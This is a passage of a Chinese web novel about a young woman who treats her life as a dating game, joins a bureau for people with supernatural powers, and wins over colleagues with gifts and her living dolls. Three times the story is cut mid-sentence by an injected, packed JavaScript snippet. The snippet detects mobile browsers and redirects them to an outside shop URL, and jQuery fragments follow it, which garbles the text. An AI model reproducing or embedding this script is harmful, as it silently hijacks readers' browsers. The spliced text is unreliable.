有了项霜这个靠谱的引导NPC的带领,关可迅速和异管局的成员建立了友好以上的关系。 只是这又同时带来了另一个问题,她和徐斐然的关系似乎出了点毛病。 明明物理距离拉近了,和攻略对象成了同事,两人之间的关系反而疏远了,玩家想了半天都没有想到自己做了什么降NPC好感度的事情。总不可能是玩家和项霜关系太好,他吃醋了吧。 游戏太过模拟现实就是这点不好,玩家现在想要去找选错选项的关键节点都不知道怎么去找,只能选择笨办法:花式送礼物。 如果好感度没有涨,一定是礼物类型送的不对。 秉持着这个信念,在送玩偶被婉拒,送巧克力被拒绝,送糖果被笑着接下,但是明显好感度没涨的几次尝试后,关可终于找到了对的礼物——咖啡豆。 办公室里的那台咖啡机一直是徐斐然再用。 徐斐然倒不是真的被一袋咖啡豆打动的,只是关可这孜孜不倦送礼物的行动实在太执着,已经被办公室里的不少人注意到了,今天开会的时候,连组长都忍不住打趣了一句。再这么下去,说不定就会有什么奇怪的流言传出来。 徐斐然本来打算和关可解释清楚的,但是看到自己接过咖啡袋之后,对面瞬间明亮起来的眼神,原本已经打好腹稿的搪塞敷衍的话瞬间就开不了口了,最后也只能是轻叹着:“你不用一直送礼物。” “你不生我气了?” 徐斐然愣了一下,“我没……”有。 那双清澈见底的眸子倒映着他的模样,在这样的倒影下,人没有办法说谎。 “不是生气。”徐斐然沉默了片刻,终是轻声,“只是一时无法接受……” 有人会将玩偶看得重于人命。 但眼前并不是个性格扭曲恶劣的坏人。 格格不入必定遭人排斥,因为被排斥出人群,所以才会寻找玩偶当朋友。曾经借助异能获得人群拥簇的他又有什么资格去排斥呢?只因为他更幸运吗? “抱歉,是我错了。” 玩家不明所以,但玩家接受道歉,“没关系,我原谅你了。” 玩家怎么可能对攻略对象生气呢? 关可露出了宠溺的表情。 徐斐然:“……” 虽然没什么问题,但是总感觉哪里怪怪的。 * 加入异管局需要详细填写异能资料,但是关可对于自己的异能了解仅限于系统上的给出的那个三个字“玩偶师”。作为一个中途进入的玩家,她甚至连什么时候发现自己有异能的都说不清楚。 所以这几天时间,玩家一直都在进行异能测试。 玩家没有感情地从A机器走到B设备,扫描出来的数据不仅进入了异管 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722064|189409||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 局备案,也填充在玩家系统面板上。 所以人物面板上的数据是这么来的吗?万一设备出错了呢。 关可对此表示怀疑。 但是她很快就没心情质疑了。 数据和异能表现形式被上传回总部做了个评估,很快给出了一个评判报告。报告字数太多,玩家直接略过,翻到了最后一页的结论上,看着上面一半对一半的饼图,玩家没看明白。 项霜靠在桌旁,凑过了看了眼,主动给出解释,“不错啊,你这个异能内勤和外勤都能做,很平衡啊。” 关可看向下面一行字。 [有待进一步评估]。 “这是什么意思?” 项霜还想解释,看见外面正往里走的易骥。 她冲着关可耸了耸肩,“喏,进一步评估来了。” 关可觉得从里面看出了点幸灾乐祸的意思。 在易骥的要求下,她不明所以地抱了所有能抱的玩偶,到了地下二层。比停车场还低一层,因为太过地下的缘故,环境森凉森凉的。感应门打开,露出了里面的训练场。 关可还茫然地站在场中央,那边易骥已经戴上战术手套、调整好袖口的自粘贴,他侧了下身,半转向关可,“不限制异能和使用方式,用你所有能用的手段,打一场。” 关可:??? “玩偶不够的话,可以上去拿。” 几天前,刚刚在所有玩偶的注视下,毫无还手之力的被扭送到异管局的关可:“……” 她合理怀疑对方在嘲讽。 …… 不提训练场里即将发生的人间惨剧,徐斐然刚刚被叫到了组长办公室。 这位组长已经是快退休的年纪了,但是作为涉及直接异能行动的执勤组的组长,他依旧看起来精神十足,半点不显老态。 徐斐然进来之后问了个好。 这位邬组长摆了摆手,示意他先坐,“不是任务的事,是一点私事,找你聊聊。” 因为异能出现的随机性,异管局里的人什么背景来历的都有,又或多或少都有点心理问题,这位组长也不得不时刻关注着手底下人的心理状态。 “我想和你聊聊关可的事。” 徐斐然知道自己这几天的做法恐怕都被邬组看在眼里,要不然早上开会的时候,对方也不至于半开玩笑地特别点他这一下。 徐斐然干脆地承认:“抱歉,邬组,这是我的问题。” 邬组长摇了摇头,“我知道你还有心结在,也不是让你受委屈。只是有些事,我觉得你知道一点更好……那孩子说不清什么时候有的异能,局里就调了她的档案,想看看能不能从里面发现什么。” 他说着,把那份资料递了过去。 资料里当然不会像是系统面板一样详述,但是从“养父母所在的邻居家几次报警”、“明明养父母家庭尚算过得去,孩子却申请的助学贷款,签字人还是别的近亲亲属”之类的事情就能看出端倪。 “你带回来的那只白猫玩偶,那孩子要回去了,据说是从小时候就一直陪着她的玩具。如果真的像我们推测的那样,她觉醒异能的时间或许非常早。” 虽说不是年纪越小觉醒异能就一定越厉害,但是幼年时就拥有异能,确实有足够时间适应自己的异能。 徐斐然愣了下神,却不是因为关可异能觉醒的时间,他只是想起了对方对那只玩偶的介绍:唯一的朋友。 徐斐然:“……” 他好像做了件特别过分的事。 或许不止一件。 5. 玩偶05 徐斐然从组长办公室出来,本来是想要去找关可的。 但是从办公区经过,一眼就看见几个文员桌上的礼物袋。 因为这几天被关可多次塞过来包括但不限于糖果零食巧克力之类的小礼物,徐斐然一眼就认出了这个礼物袋的包装,不用猜都知道是谁送的。 几个正聊天的文员也看见了徐斐然,不由问,“徐哥,组长安排了什么事吗?” “没什么事。”徐斐然摇头否认,又参与了几句刚刚几人聊天的内容,这才状似无意地把话题引向那个礼物袋上。 “你说这个啊?”文员没多想,“是可可送的,我上次聊天提了句我一直抽不中步行街的一款盲盒,可可第二天就送了我这个,据说是路过了随手一买,没想到就是隐藏款。她运气真是神了!” 旁边人也笑着接话,“是啊是啊,我也是。路口那家店的招牌蛋糕每天限量五十,我抢了一个月都没抢到,结果那天早上,一来到工位就看到桌上摆着小蛋糕。感动QAQ~她怎么知道我睡过头了,没来得及吃早饭!!” “你是天天睡过头,这才来不及抢蛋糕吧。” “……” 几人七嘴八舌的一阵讨论,最后总结道:“简直是个许愿神灯!徐哥你老实说,可可的异能其实是给人达成愿望吧?” 徐斐然:“……” 他隐隐觉得哪里不对,但是一时想不出来,对上几人看过来的目光,也只能笑着摇头,“哪有那种好事。” 那几个文员犹自不信地嘟嘟囔囔,徐斐然没再继续应和下去,而是随意扯了个理由就离开了,一转身就蹙起了眉。 关可似乎和组里的人相处得不错,完全没有一开始他以为的“把玩偶看得比人更重要”的问题。这几个文员都不是异能者,所以她也并不是以异能进行划分。 单纯的因为“被接纳”吗? 想到刚刚才得知的关可的经历,他心底忍不住低声叹息:是因为以前从来没有被接纳过,所以才会这么用力地回报善意啊。 徐斐然才刚刚这么想着,看着迎面走过来的项霜。 “你看见关可了吗?” “医务室呢,刚从训练场上来,听说是被抬上来的。”项霜面露唏嘘,“我还以为易骥下手会轻一点,毕竟是个漂亮妹子,结果……不愧是他。我正要去探望一下,你要一起吗?” 徐斐然从善如流。 * 另一边,医务室。 关可的检查结果是轻微脑震荡。 这倒不是易骥下手多狠。 作为一个四肢不勤五谷不分,战斗力还不如一只鹅的脆皮年轻人,当那只挟着劲风的拳头砸过来的时候,关可完全没有反应过来,她木木愣愣地站在原地,任由那只拳头擦着她的耳朵过去。拳头在训练场裹着涂层的墙壁上发出一声巨大闷响,耳边的碎发微微被带起的气流扬起。 易骥:“……” 她是原地不动的木桩吗? 易骥的表情相当无语。 他后退了几步,留出空间让关可缓过神来,开口提醒,“躲。” 关可:“……” 您看我像是能躲开的样子吗? 谁家的恋爱游戏会让攻略对象殴打玩家啊?!! 这攻略对象是假的吧!! 但内心再怎么尖锐嚎叫,她还是老老实实的照做了。 毕竟这拳头真的是照着脸来的,玩家要是不躲的话,说不定会破相。顶着一张又青又紫的猪头脸去和攻略对象谈恋爱,这种事情想想就不要啊! 似乎是感应到主人的退避意识,被她放在一旁的玩偶主动上前想要帮助抵挡。 然而一人一玩偶的配合并不默契,关可往后退的脚正好被玩偶绊倒,易骥还没有出手,她已经仰面朝天往后倒去。 易骥:??? 他还没打过这种猝不及防的架,险险地伸手拉住关可的手腕,但后者的后脑勺已经和墙壁有了一个稳稳的亲密接触,撞出了一声不亚于刚才拳头的巨大响声。 关可顿觉眼前一阵头晕目眩,胃里也跟着波涛翻涌。 “好像有星星。呕~” 易骥:“……” …… 最后还是易骥把关可抱到了医务室,初步检查过没有问题后,他就准备离开了。 在走廊遇到了正往这边走的项霜和徐斐然二人。 刚刚背后吐槽过易骥的项霜:“……” 她不自然地躲闪了一下眼神,紧接着又压下心虚,强行对视了回去。 不过易骥的目光已经落在了徐斐然身上,想到那天天台上的治疗,他顿了一下,“你去看看她也好。” 如果徐斐然能够正常使用异能,对整个执行组都有好处。 项霜不知道那天天台上的事,没反应过来易骥是什么意思,只当是对方劝徐斐然去探望。 毕竟谁都能看出来,关可对徐斐然尤为特别。 等看到在床上昏睡着的关可后,项霜才心生懊悔:刚才应该怼易骥两句的。一个测试而已,至于下这么大的狠手吗? 想到当年被揍得鼻青脸肿的自己,项霜对正昏睡的关可怜爱愈深。 她还想问问旁边的医生,就看见徐斐然已经在那边询问具体情况了,都是些医学术语,每个字都明白,凑在一起就听不懂了。 项霜听出了不太严重的意思,也就放下心来,没再硬逼着自己听天书。 结果刚这么想着,就见徐斐然过去到显示屏旁边看了眼片子,然后走到病床旁,伸出手。 项霜:? 她一开始还没反应过来是怎么回事,一直到感受到异能的波动才猝然惊醒,徐斐然想要用异能治疗。 去年处理徐斐然的事件时看见的画面浮现在脑海里,一团蠕动的血肉里勉强能看出人类的五官,细胞不断分化,一会儿在血肉上生出密密麻麻的眼球一会儿又消失……即便过去这么久,想起这个画面,关可胃里仍旧一阵翻涌。 眼见着徐斐然上前,项霜条件反射地挡住了对方伸出的手臂。 对上徐斐然那意外的表情,她扯出个僵硬的笑来,“刚才童医生也说了,休息一下就好了,犯不着用异能。” 她这么说着,忍不住看向旁边的童文凡,拼命使眼色。 童文凡:“……” 他其实也没有想到徐斐然会用异能,毕竟这一年来,师兄用异能的次数屈指可数,更别说是在这种小伤上了。 但他还是站徐斐然。 那次的事也不能怪师兄,师兄如果能走出来是好事。 童文凡:“师兄他也是……”好意。 话没说完,病床的人眼皮颤了颤。 项霜听出了童文凡的劝解意图,当机立断地打断了对方,“可可,你醒了?有哪里不舒服?” 她说着,人已经强行插入徐斐然和关可中间,彻底挡住了后者动作。刚刚恢复意识的玩家顿时收到一阵全方位无死角的温柔问候。 玩家非常感动。 她好关心我! 可惜是友情线~ 但没有关系,玩家决定:这以后就是我在游戏里的挚友了! 旁边的徐斐然已经收回了手,仿佛刚才的无事发生。 童文凡担忧地看过去,“师兄?” 徐斐然摇了摇头,“人没事就好。” 难得的病弱状态,玩家其实想要趁机多刷一刷攻略对象的好感度。但是也不知道是不是她的错觉,每每她想要和徐斐然搭话的时候,都会被项霜似有若无地阻拦。 项霜本来就不擅长隐瞒。几次之后,玩家也觉出不是巧合了。 玩家若有所思,玩家恍然大悟。 项姐姐莫不是在吃醋?是了。好感度刷高了就是容易有这样幸福的烦恼。 玩家想了想,轻轻蹙了蹙眉头,露出了弱柳扶风的疲惫之色。 果然,项霜立刻就停.下了询问,嘱咐了句“好好休息”,就带着徐斐然一起出去了。 玩家松了口气。 没有掌握熟练的端水技能之前,最安全的方法是不让攻略对象处在同一个空间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722065|189409||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里。 玩家对此颇有心得。 * 两个人一走,医务室一下子变得空荡起来。 关可抬眼打量这留下来了医生小哥。 作为实习生的执行组全部是异能者,但是异管局却也有不少普通人。大部分是因为卷入异能事件,又不方便消除记忆,有的会签一份保密协议离开,但是也有的会留在异管局承担相关工作。 医生小哥是后者。 之前项霜带她认识了一圈,但也不可能面面俱到,只接触了她比较熟悉的人,大部分是异能者,并没有介绍医务室的成员,也可能是没有想到她这么快就被送到医务室。 关可看了眼对方白大褂上的铭牌。 “童医生。”/“你……” 两个人同时开了口,关可立刻闭了嘴,作认真倾听状。 童文凡却沉默了片刻,他还没想好怎么问。 你认识徐师兄?你们怎么认识的?徐师兄为什么愿意为了你用异能? 不管哪个问题,对于今天第一次见面的人来说,都好像有点冒犯。 他最后压下了种种疑惑,对关可解释了几句她的身体状况,又确认她没有什么不适之后,这才语气温和地:“这个时间,没什么人会来医务室,你在这里多休息一会儿也没关系。” 说完后,童文凡也跟着出去了,走的时候还轻声关上了门。 这个医生小哥有点体贴啊。 关可心底默默地评价了一句,却觉得头发被轻轻动了动。 她抬头看过去,发现是被放在床头小棕熊玩偶,就是在训练场上准备往前冲挡在主人身前,却把关可绊倒在原地的那一只。 小棕熊明显十分紧张,关可都能透过毛绒的外套看出它的僵硬来。 它试探地碰了一下关可头发丝,等到关可视线转过去,它立刻不动了。玩偶的头低垂下,整只熊作低头认错状。 关可被可爱到了。 她把小棕熊捞过来,贴在脸颊上,“不是你的错。你也想要保护我是不是?” 小棕熊使劲点点头。 关可使劲蹭了蹭玩偶表面的绒毛,心里却有一点疑惑:玩家刚才昏迷debuff加身,短暂地失去了意识,是谁把这个玩偶摆在她枕头旁边的? 脑子里立刻冒出了一个穿黑色作战服的身影,但是紧接是对方毫无留情地砸过来的拳头。 关可:“……” 怎么想都不太可能吧?完全没法脑补易骥把玩偶摆在床头的动作。 应该是刚才那个体贴的医生小哥? 关可自觉找到了解释,但是新的疑问接踵而来。 自己是被易骥送到医务室的这点,关可还是有印象的。后者怎么看也不像是会把玩偶捎带着一块儿带上来的人。 似乎是察觉到了关可的疑惑,小棕熊顺着病床爬到了床脚处,手脚并用,努力把四只爪爪合拢在一起,圈住了关可的脚踝。 关可:原来是偷渡啊! …… 另一边,刚回到自己办公位上易骥就看见了一个彩色包装纸的礼物袋。 托关可这几天整个办公室送礼物、全员刷好感的福,他立刻就认出了这是出自谁的手笔。 易骥认真思考了一会儿,这算不算贿赂他给个“通过”。 但想到刚才训练场上的那场对练,易骥面无表情地在报告上画了一个大大的叉。 能被自己的异能差点害死,也是个人才。 放她去做外勤?送人头么? * 等到关可终于休息好回到了自己的工位上,就看到了被齐刷刷摆在桌子上的玩偶。 刚刚才认定了是医生小哥帮忙把小棕熊摆在床头的关可:……? 看着这整理利落,按照大小个头分门别类排序的玩偶堆,关可短暂的沉默了片刻。 不会真是她想的那样吧? 脑海里不自觉地浮现出易骥抱着满怀的毛绒玩偶的画面。 关可:“……” 虽然但是,有点儿萌啊! 6. 玩偶06 “喵~” 关可还脑补着易骥抱玩偶的画面,却突然听见了一声软乎乎的猫叫。 那只名叫雪团蓝黄异瞳猫正仰着脸,看着她的方向。 感受到关可的注视,它从蹲坐的姿态直起身来,踱着因为玩偶圆乎乎身躯显得并不优雅的猫步,越过那一众玩偶的阵列,慢吞吞地向着关可走过来。 玩家一颗心都被萌化了。 可爱死了!不愧是玩家的默认跟宠。 等到距离终于近到了一定的程度,玩家再也按捺不住自己蠢蠢欲动的手,抬手挠起了小猫咪的下巴,雪团也十分配合,惬意地打起了呼噜。 玩家要被这毛绒绒的触感淹没了。 然而,变故就发生在一瞬间。 趁着关可手臂抬起之际,雪团以迅雷不及掩耳之势跳起。它的前肢伸展,“啪”地一下子,被关可揣在口袋里的小棕熊头部遭受重击,整个熊掉落在地。 雪团顺势勾住关可的外套,灵巧地爬到了她的肩膀上。 关可:“……” 原来不止NPC会争风吃醋,玩家的跟宠也会。 她沉默了半天,转头对肩上的小猫:“不许欺负咖啡!” 雪团舔舔爪子:“喵~” 人在说什么,猫猫听不懂。 关可:“……” 她蹲下.身来把小棕熊捡起,听到一声弱弱地,“呜~” 救命!这碗水该怎么端?! 玩家正身陷修罗场不知怎么自处,办公室的内间的一扇门被打开,从中走出来一个戴着黑框眼镜的青年。青年长相清秀,只是头发有点长了,还个天然卷,正杂乱地朝着各个方向支棱着。他身上的衣服并不脏,但大概是之前被团起来过,皱巴巴的到处都是折痕,整体形象颇受影响。 正是完成了前期调查,准备出来交接工作的万琨。 万琨没想到外面会是关可,本来踏去的脚步硬生生地止在了原地。 他张了张嘴,喉咙却像是卡住了一样,只发出一点模糊的声音,整张脸却已经涨得通红,在苍白的肤色上格外明显。 关可没能听清,“你说什么?” 她问着话,往前倾了倾身,准备走过去听得更清楚一点。 但是万琨像是受了惊,往后退了一大步,飞快地缩回自己的房间。 刚刚打开的门被“啪”地甩上。 关可:“……” 她应该没把这个NPC好感刷成负数吧? 好在碰巧过来、正目睹了这一幕的项霜解释了原因,“别理他,他恐怕是第一次收到女孩子的礼物,让他冷静几天就好了。” 关可涨见识了。 原来还有不能送礼物的NPC。 “不说他了,你怎么样?怎么这么早就从医务室出来了,干什么不多休息几天,多出来的假都算在姓易的头上,反正是他造的孽。” “没什么事,不严重。而且也不能怪易哥,是我自己摔的。” 等关可把训练场上的具体经过讲完,项霜也沉默了。 战斗意识这个事很难说,但到了关可这地步,明显训练起来事倍功半。 “内勤也挺好了,打打杀杀的都太粗暴了。”基本确定了关可未来的方向,项霜话锋顿时一转,“你刚才也看见万琨了吧?别看他那样,搞情报是一流的。局里最近就有个案子,嫌疑人是空间转移类的异能,对方应该对异管局有了解,行为非常谨慎,但他入室盗窃的一家人装了宠物摄像头,正好把人拍了个正着,只要人在监控下出现,万琨的异能……” 项霜这么说着,突然想起了什么,“他该不会有线索了吧?” 这么说着,她已经几步迈过去,咣咣地砸起了万琨的门,“你给我出来!先把话说清楚了,再回去抱你的窝!” 门就被打开了一条缝,从缝里面扔出来一个U盘。 不等项霜再问,门又被啪地关上。 项霜兜里的手机响了一声,是发过来的U盘里内容解释信息。解释极其详细,看起来刚才在屋里就在编辑这一段的文字内容了。 项霜:“……” 看到旁边看得叹为观止的关可,项霜撇撇嘴,“习惯就好,不用惯着他。” …… 万琨的异能只是追踪监控,那个U盘里,是他整理出来的信息。 他追踪了近一个月全市范围内嫌疑人在监控下出现的画面,但是接下来才是麻烦的工作,嫌疑人的行动轨迹不连续,要根据时间和地点绘制出对方的行动方向,以此确定对方异能转移的大概范围,再进一步锁定他所处的区域。 项霜简单地说了一下接下来要做的事,又解释,“都是些手动标注的事,没什么难度,按常规就交给小姜他们几个做了,我让他们带带你。你先不用管异能怎么用,跟着他们几个熟悉下流程,异能介入的事等之后再说。” 关可连连点头。 新手任务嘛,她懂的。 * 异管局附近的某公寓。 天边刚刚显出一点蒙蒙的晦亮,但天幕依旧是明月清晰可见的暗沉。紧闭的窗帘将那一点光也隔绝在外,房间内一片漆黑,明明是适合安睡的场景,床上的人却睡得并不安稳。 他明显陷于梦魇之中,呼吸急促、表情狰狞,人也不安地辗转着。不知梦到什么场景,他突然抬手抓了一下,这一下在半空中落了个空,他也自此惊醒。 徐斐然睁开眼,周围的环境家具映入眼中,他失焦的眼神一点点恢复正常。 再看看自己的手,上面干干净净的,并不像梦中一般沾满血渍。 徐斐然撑起身来,手肘压在半曲着的膝盖上,靠着床头半坐着发了会儿呆。 隔了会儿,转头看了眼墙上的挂钟。 四点十五分。 被褥被冷汗浸透湿哒哒的,再躺回去显得不太现实。 徐斐然干脆放弃了再睡一觉。 他换了睡衣被褥,把浸湿的那套塞进了洗衣机,把早饭的定时器打开,穿上衣服出去晨跑了一圈,回来洗了个澡,吃了顿热腾腾的早饭。等一系列事情折腾完之后,仍旧在七点之前到了异管局。 和熬了一.夜、明显精神萎靡的值班同事打了个招呼,徐斐然推开办公室门。 但看到里面的玩家后,他不由目露意外。 “可可?你这么早?” 正专心做行动标记的关可听到声音,有点儿迟钝地转过头来。玩家精力条低的时候就是这样,感官模糊,动作也慢吞吞的。 徐斐然看见了关可苍白的脸色,“你昨晚没睡?这么干了一晚上?” 他已经看见了旁边的路线标注,组里正在追的案子不多,那个异能盗窃的案子就是其中之一,徐斐然立刻就知道这是怎么回事了。 “又不追进度,用不着这么拼,你先去休息。” “没关系,精力……”条还没耗完。 系统面板像是应和玩家的话一般弹出,精力条早就变成了刺目的红色,关可眼睁睁地看着它掉下去最后一格,眼前霎时一黑,意识像断电一样陷入空白。 关可:??? 不对啊!明明她上次做玩偶的清醒时间比这个长得多。 难不成精力条缩水了? 一直等意识再次恢复的时候,关可还在纠结昏迷前的问题。 听见旁边的对话声音,“上次只做了外伤检测,没有注意别的。……营养不.良、轻度贫血,各种维生素缺乏的并发症状……” 声音很熟悉,是前一天才遇到的童文凡。味道也很熟悉,医务室的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722066|189409||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 消毒水味。 ……这段话是在说她? 所以说她之前的感觉没错,精力条确实缩水了,现在是在给她解释原因。 关可:“……” 这游戏能不能不要在这些奇怪的地方参照现实啊?! 注意到关可醒了,徐斐然对旁边的童文凡比了个暂停的手势,转过头来问:“你觉得怎么样?” 而徐斐然的身后,童文凡的表情十分纠结。 不是他的错觉,师兄就是很紧张这个刚入职的新人。 感受到奇怪的注视,关可忍不住看了回去,也不知道把这目光理解成了什么意思,童文凡纠结中露出点恍然来。 他立刻开口:“不好意思,我这就出去。” 说完,果然没有在医务室多留,而是径直出去,还顺手关上了门。 童文凡在心底暗骂自己迟钝。这都第二次了,人一进医务室师兄就这么紧张,上次更是差点用异能。除了那种关系,还能有什么关系?他居然在里面当了这么久的电灯泡。 关可:? 等等!你光说了精力条下降的原因,没说怎么补救啊! 游戏既然设计了医务室,里面还有NPC,不应该就是起这作用的吗?还是好感度没有刷够,没能开启医务室职能? 旁边的徐斐然就眼睁睁地看着关可的表情变来变去,看起来一时半会儿都没有开口的意思。他在心底深叹了口气,劝解,“那个空间异能者的案子局里一直在追查,但并不是加急的恶性案件,按照一般流程来做就行,用不着通宵加班。一直这样,你身体吃不消。” 关可:“怎么能让身体吃得消?” 怎么补救她的精力条? “好好吃饭,好好休息,适度锻炼。”徐斐然本来这么说着,突然想起来童文凡刚才提起的营养不.良,他心底生出点不太妙的猜测,“你昨天都吃了什么?” 得到关可的答案之后,徐斐然心底居然不觉得意外。 “不能只吃主食。饮料里面糖分过多,对身体没有好处。” 关可眼神游移。 主食的价格最低,而“能量饮料”是玩家在因体力条见底而无法行动时,最快速的补充方式。这可是玩家探索出来的,兼顾了金钱和效率的最佳方案。 看出了关可的不以为意,徐斐然的表情也严肃起来,在他的几番逼问之下,关可终于说出了原因,“其他东西都太贵了。” 玩家也有自己的小心思,关可只说了前一个。 毕竟攻略对象看起来对玩家的“快速体力补充药剂”非常不满的样子,万一不让玩家喝了怎么办。 徐斐然没想到回答这么简单朴素。 但要是仔细想想,好像也确实找不到别的理由了。 他无奈地,“异管局的待遇还不错,你要是真的有困难,去找邬组,提前支取一部分工资,邬组会批的。而且组里都是同事,你用不着送那么多礼物,把钱省下来吃饭……” “那怎么行?!” 一听到后面那句话,玩家就忍不住打断。 徐斐然一愣。 不期然的,他想起了那天关可坐在天台边缘的样子:长发随风飞舞,她好像随时都会一跃而下。但那眼神里并不是常见的绝望和痛苦,而是平静的漠然,她对这个世界没有一丝留恋。 他好像确实拉住了她,就在他搭话的那一瞬间。但是为什么呢?只是因为陌生人一点微不足道的善意? 徐斐然沉默了片刻,询问:“你为什么要一直送礼物?” 玩家毫不犹豫:“我想要大家喜欢我啊。” 当然是为了刷好感度! 徐斐然:“……” 他沉默许久,才涩声:“人不是为了‘被喜欢’才活在这个世上的。” 7.玩偶07 对于攻略对象的劝阻,玩家不以为意。 人确实不是为了“被喜欢”才活在这个世上,但玩家是来玩恋爱游戏的啊! 玩家反手送了句情话,“但我是因为想要被你喜欢才留在这个世界的。” 徐斐然:“……” 徐斐然许久都没能说出话来,思及自己在邬组那里看到的档案,他只觉心头一阵阴霾。 白纸黑字上的几句记录实在太过浅薄,没有办法承载眼前人遭遇的一切。到底怎样的境遇,才会让人以“被喜欢”为理由活下去。 徐斐然甚至明白了,那一天他为什么能那么轻易地用出异能。 因为他知道,自己确实已经救下了人。 因为那一点试图援手的善意,竟成了对方维系在这世间的稻草。 但不该是这种“救下”。 徐斐然一直没出声,玩家也忍不住紧张起来。 想到上次莫名其妙地降好感,到现在还没找到原因,关可心底越发打鼓:该不会攻略方向又出错了吧? 徐斐然已经回过神来,看了眼明显不安的关可,他也只能按捺下心中种种想法,关切问:“你一会儿输完液之后要干什么?” 关可试探:“接着把嫌疑人的轨迹追踪做完?” 徐斐然心道一句果然,但是面上的表情不变,“先输完液吧。等输液结束,我让文凡来叫你,你再回去。” 玩家没从徐斐然表情中看出什么端倪,只能安慰自己:好歹好感度没有降下来,这也算成功。 关可目送徐斐然离开,却没想到徐斐然出去后就找到了童文凡。 “待会儿输完液再给她换袋新的。” 童文凡犹豫,“虽然复合营养剂对身体没坏处,但是多了也会影响代谢。” “我是说换生理盐水。” 童文凡:? 徐斐然解释:“她昨天一晚上没睡。” ……所以师兄你这是想办法帮人延长半天假期? 童文凡对自己先前的猜测越发肯定,心底一阵唏嘘:师兄没想到你是这样的师兄。 借职务之便帮女朋友争取假期,没想到一向不屑于这些弯弯绕的师兄也会干这种事。 嘀咕归嘀咕,童文凡嘴上很干脆地,“好的,我明白了。”还不忘补充句,“我待会去把滴速放缓。” 徐斐然放心地把医务室这边交给了童文凡,自己则是转过头去找了邬组长。 组里的问题儿童不差再多一个。 以关可现在的心理状态,恐怕不适合继续做内勤。 …… 被一个人留在医务室的关可没一会儿就睡着了,连童文凡进来换输液袋都没有惊醒她。 她自然也不知道,外面有一个人正在找她。 想找她的是万琨。 万琨昨天关了门缩回到自己的小房间里,倒也不光是编辑了那条信息。 作为一个把异管局当家,进来之后就几乎没再踏出去的死宅,他的这间专属房间不单单担任了工作间,还兼顾了起居室的功能。屋里除了巨大的占据了一整面墙的显示屏之外,其余的地方跟普通的一居室没什么区别。 空间虽小,但是五脏俱全,厨房衣柜洗衣机淋浴卫生间全都有。 也因此,万琨关上门之后,先冲去卫生间洗了把脸,让滚烫的脸颊降了温后,对着镜子里的自己发了会儿呆,没戴眼镜让眼前所见有点模糊。他抬手摸了摸乱糟糟的头发,犹豫了一会儿,捞过好几天没用的梳子,费力地梳了整齐,但天然卷的发丝梳开了之后,显得更加乱糟糟的了。 万琨顿了顿,拿起了放在旁边的剪刀。 动作娴熟的一阵修剪之后,整个人顿时显得清爽了很多。把掉落的碎发清理干净,又洗了个澡,在衣柜里挑了半天,选了一件没有褶皱的稍显正式的衬衫,站到了对外的门前。 然而罚了半小时站之后,他又缩了回去。 如此动作反复,一直到了昨天的下班时间,他才泄气地倒在铺着软垫的地板上。但刚刚躺下,又弹坐了起来,他小心地拍干净灰尘,捋平了衣服上的褶皱,重又把这唯一一件衬衫挂了回去,这才放心重又躺了回去。 但不管怎么说,经过昨天一下午的折腾加上整个晚上的休息,等到了第二天,他终于鼓足了勇气推开了门,走到了办公室的公共区域。 关可的座位上空无一人。 倒是项霜听见动静回头,看着焕然一新的万琨,实打实地愣了下,然后嗤地一下子笑出了声,“你这是打算约会去啊?” 万琨在同为异能者的熟人面前并不怎么紧张,他没搭项霜的话茬,而是问:“关可呢?” 项霜挑眉。 这小子还来真的? 项霜才刚来,并不知道关可昨天在办公室里通了个宵,今早被送到医务室里。 她瞥了一眼墙上的挂钟,调侃:“你也不看看现在几点,人还没到呢。又不是每个人都像你似的,把这儿当家住。” 万琨也跟着抬头看钟,面露恍然。 他在要不要回屋之间犹豫了片刻,最后低头看了眼自己难得整齐的衣服,选择在自己的工作位上坐下了。 是的,在这个公共空间里,万琨也有自己的工位。 位置选在最角落里,被旁边的绿植遮挡了大半,出于工作要求和异能需要,他的屏幕比其他人大了许多。 易骥走进来的时候脚步顿了下。 因为前职业习惯,他进屋的时候下意识注意隐蔽点,万琨的位置刚好落在那里,他一眼就看见了里面的人。 而万琨如非必要,不会出他那间屋子。 “有紧急任务?” 易骥只能这么理解。 遇到万琨项霜还能调侃两句,但是对着易骥,同样的事就没意思透了。 项霜撇嘴,“私事。” 易骥果然没有再多问的意思,径直走到公共区边缘绿植架子旁。 去年徐斐然刚到的时候,邬组说是新人新气象,要增加点办公室氛围,给组里每个人认领了一盆绿植。想法很好,可惜有点一厢情愿,组内的几个成员确实新鲜了一阵,但是没过几个月,就把这事抛到了脑后,任由翠绿色的叶片一点点枯黄下去。 